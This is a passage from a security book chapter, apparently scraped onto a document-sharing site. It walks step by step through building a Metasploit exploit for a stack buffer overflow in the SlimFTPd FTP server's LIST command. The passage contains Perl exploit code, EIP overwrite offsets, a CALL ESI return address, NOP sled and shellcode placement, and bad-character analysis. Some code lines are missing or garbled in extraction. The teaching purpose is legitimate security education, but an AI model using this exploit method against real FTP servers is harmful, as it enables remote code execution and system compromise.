• Aucun résultat trouvé

SlimFTPd Vulnerability Details

Dans le document 436_XSS_FM.qxd 4/20/07 1:18 PM Page ii (Page 178-183)

The vulnerability is due to a failure in the application to perform proper boundary checks when concatenating string for the LIST,DELE, and RNFRcommands.The LIST,DELE, and RNFRcommands build a string by concatenating the current directory with the requested directory or file.The buffer for that string of current directory and requested directory can occupy up to 512 bytes. An overly long requested directory or filename could cause the SlimFTPd server to crash and overwrite EIP.

In this case study, we will use the LISTcommand to trigger the vulnerability. By using a sample template module from the Metasploit Framework, we wrote a simple module to make an FTP connection and crash the SlimFTPd server.The following is the example module:

1 sub Exploit {

2 my $self = shift;

3 my $target_host = $self->GetVar('RHOST');

4 my $target_port = $self->GetVar('RPORT');

5

6 my $evil = ("LIST ");

7 $evil .= "A" x 512;

8 substr($evil, 511, 2, "\x0a\x0d");

9

10 my $s = Msf::Socket::Tcp->new

11 (

19 $self->PrintLine('[*] Error creating socket: ' .

$s->GetError);

20 return;

21 }

22

23 my $r = $s->Recv(-1, 30);

24 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; }

25 ($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;

26 $self->PrintLine("[*] $r");

27

28 $self->PrintLine("[*] Login as" >GetVar('USER'). "/"

.$self->GetVar('PASS'));

29 $s->Send("USER".$self->GetVar('USER')."\r\n");

30 $r = $s->Recv(-1, 10);

31 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; } 32

33 $s->Send("PASS ".$self->GetVar('PASS')."\r\n");

34 $r = $s->Recv(-1, 10);

35 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; } 36

37 $self->PrintLine("[*] Creating dummy directory....");

38 $s->Send("XMKD 4141\r\n");

39 $r = $s->Recv(-1, 10);

40 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; }

41 $self->Print("[*] $r");

42

43 $self->PrintLine("[*] Changing to dummy directory....");

44 $s->Send("CWD 4141\r\n");

45 $r = $s->Recv(-1, 10);

46 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; }

47 $self->Print("[*] $r");

48

49 $self->PrintLine("[*] Sending evil buffer....");

50 $s->Send($evil);

51 $r = $s->Recv(-1, 10);

52 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; }

53 $self->Print("[*] $r");

54 return;

We start off by making an FTP connection to the SlimFTPd server (line 10). After suc-cessfully logging on with a valid username (line 29) and password (line 33), we create a four-character directory (line 38) for the current directory and change into that directory (line

44). Finally, we send our evil buffer (line 50) that consists of 510 bytes of A’s (line 7) and 2 bytes of 0x0d and 0x0a (line 8) for the requested directory.The maximum number of bytes that we can send for the requested directory is 512, including the carriage return (0x0d) and the new line (0x0a); any more will prompt the error message “500 Command line too long.” Our evil buffer will trigger the overflow by concatenating with the four-character directory. Figure 8.1 shows the corresponding registers.

Figure 8.1A Look at the Registers

By using OllyDbg as a debugger, we attach to the SlimFTPd process and watch the pro-gram crash as we execute our module. As you can see from the OllyDbg register window in Figure 8.1, we managed to overwrite the EIP with some value (0x00405500) but not with our A’s. Our 510 bytes of A’s were off by four bytes from reaching the EIP. In order for the exploitation to work, the current directory must not be fewer than eight characters. We also know that the EIP was just four bytes below our 510 bytes of A’s.

1 my $evil = ("LIST");

2 $evil .= "A" x 512;

3 substr($evil, 507, 4, "\x42\x42\x42\x42");

4 substr($evil, 511, 2, "\x0a\x0d");

5

6 <---snip--->

7

8 $s->Send("XMKD 41414141\r\n");

9 $r = $s->Recv(-1, 10);

10 if (! $r) { $self->PrintLine("[*] No response from FTP server");

return; }

11 $self->Print("[*] $r");

12

13 $self->PrintLine("[*] Changing to dummy directory....");

14 $s->Send("CWD 41414141\r\n");

By changing the last four bytes of our A’s to 0x42424242 (line 3) and increasing the number of characters for the current directory from four to eight (line 8), we managed to overwrite the EIP with 0x42424242, as shown by the OllyDbg register window in Figure 8.2. Next, we find the return address that can jump back to our buffer where our shellcode is located.

Figure 8.2Overwriting EIP

One way to find the return address is to find a value in the registers that point to our buffer. If we look closely at the Figure 8.2, we can see that EBX and ESI are pointing to the beginning of our buffer. We can use any one of these registers to jump back to our buffer. In this case study, we will use the ESI register.

By using OllyDbg’s OllyUni plug-in, we search for JMP/CALL ESI in SlimFTPd’s shared library, as shown in Figure 8.3. We do this to get back to our crafted buffer, which will be filled with NOPs (line 2) followed by our shellcode (line 3).

1 my $evil = ("LIST ");

2 $evil .= $self->MakeNops(512);

3 substr($evil, 10, length($shellcode), $shellcode);

The locations of those jumps or calls will vary depending on the OS version (Windows 2000, Windows XP, Windows 2003), language version (English, German, etc.), and service pack. If possible, we want to make our return address universal across various platforms.

Figure 8.3 Finding Our JMP/CALL

One way to do this is by looking at the SlimFTPd binary itself since it is the same binary used for any kind of OS/language/service pack version. For this case study, we will use CALL ESI in SlimFTPd located at 0x0040057D (see Figure 8.4) as our return address.

We are lucky because our return location is located at the end of our buffer, which allows us to use a return address that begins with null byte (0x00). Since SlimFTPd runs on an x86 architecture, the return address must be in little-endian format. So our return address will be in reverse order, where the first byte of the address will safely become the last byte.

Figure 8.4 CALL ESI

Next, we calculate the amount of space available for our payload. We know that our buffer cannot be more than 512 bytes, so, to be safe, we set our payload to 490 bytes (line 3), giving some space for the NOPs, return address, 2 bytes of carriage return (0x0d), and new line (0x0a).

The last step of this whole process is to determine the bad characters. For our exploit to work, we must make sure that SlimFTPd does not alter our buffer. All ASCII characters can be represented by values from 0x00 to 0xFF. All we need to do is send 512 bytes of test string, which consist of 506 bytes of all the ASCII characters sequentially and repeatedly, 4

bytes of return address with the value 0x42424242, and two bytes of carriage return (0x0d) and new line (0x0a). Before we begin, we immediately can cancel out 0x00, 0x0d, and 0x0a from our ASCII characters string since we already know that these characters will terminate our string. We also can remove 0x20 (space) from our string, since we know we cannot have a space in our requested directory. After repeatedly sending our test string, we determine that 0x5c (\) and 0x2f (/) terminate our string.

Dans le document 436_XSS_FM.qxd 4/20/07 1:18 PM Page ii (Page 178-183)